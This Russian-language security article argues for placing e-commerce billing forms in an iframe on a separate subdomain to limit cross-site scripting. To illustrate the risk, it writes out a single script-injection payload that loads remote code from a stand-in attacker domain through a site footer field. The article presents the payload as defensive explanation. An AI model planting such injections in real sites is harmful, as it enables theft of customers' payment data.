Ваш UX небезопасен, не доверяйте ему данные клиентов
В этой статье пропагандируется использование фреймов iframe в безопасных контекстах, например на страницах оплаты и выставления счетов в электронной торговле, и описываются известные атаки, которые подчеркивают необходимость этого. Демонстрируется конкретная атака вредоносного ПО JavaScript и способы ее обхода.
Недавно я обсуждал с коллегой, почему архитектура электронной коммерции определенного клиента опиралась на внутренний фрейм (Iframe) на странице выставления счетов. Это полностью противоречило прекрасной структуре кода на остальной части сайта, и я решил, что сейчас самое время просмотреть историю безопасности.
Безопасность через разделение
Причина, по которой эта конкретная платформа электронной коммерции содержала функциональность страницы выставления счетов в iframe, была восхитительно проста: они смогли предотвратить атаки межсайтового скриптинга (XSS), встроив поля формы в «iframe», обслуживаемый отдельным субдоменом (с строгая политика одинакового происхождения).
Как это работает?
Основной домен mysite.com
построил страницу электронной коммерции: панель навигации, заголовок, описания, нижний колонтитул, любую рекламу или маркетинговые всплески — обычное дело. Однако для целей пользовательского ввода поля содержались в теге <iframe>
, обслуживающем контент из secure.mysite.com
, а веб-сервер был настроен для той же политики происхождения.
Другими словами, «Уважаемый браузер, не позволяйте функциям JavaScript/AJAX передаваться между содержимым двух сайтов».
Почему?
Потому что JavaScript может читать поля ввода, включая данные кредитной карты.
Взлом пользовательского опыта
Веб-сервер не должен быть взломан, чтобы взломать пользовательский опыт клиента. Говоря более кратко: только потому, что код сервера (будь то C#, PHP, Ruby или что-то еще) не был скомпрометирован, не означает, что хитрый злоумышленник не нашел способ инициировать межсайтовый скриптинг. атака.
Например, представьте себе этот новый случай:
Большинство веб-сайтов имеют общие элементы, которые проходят по всему сайту, например, нижний колонтитул!
Многие сайты также позволяют пользователям-администраторам динамически настраивать эти элементы, при этом сами данные хранятся где-то в базе данных.
Что происходит, когда злоумышленник использует последний эксплойт 0-day MySQL, чтобы переименовать поле в вашем нижнем колонтитуле с Terms of Service
на Terms of Service<script>jQuery.getScript("evildomainhere.com/exploit.js");</script>
, и один из программистов пропустил один случай очистки, позволяющий отобразить его на странице .
Что ж, теперь на каждой из ваших страниц есть эксплойт-скрипт, который считывает поля ввода и каждые несколько секунд звонит домой.
Другими словами: всегда будут ошибки. Кто-то всегда найдет способ атаковать ваш сайт. Почему бы с самого начала не исключить хотя бы возможность атаки с использованием межсайтовых сценариев?
Резюме
- Встраивая важные поля ввода для выставления счетов в ‹iframe› на отдельном субдомене, вы можете предотвратить определенные направления атак.
- Сценарии эксплойтов, подобные приведенному выше, наблюдались в дикой природе и обычно добавляются в базы данных сигнатур вирусов.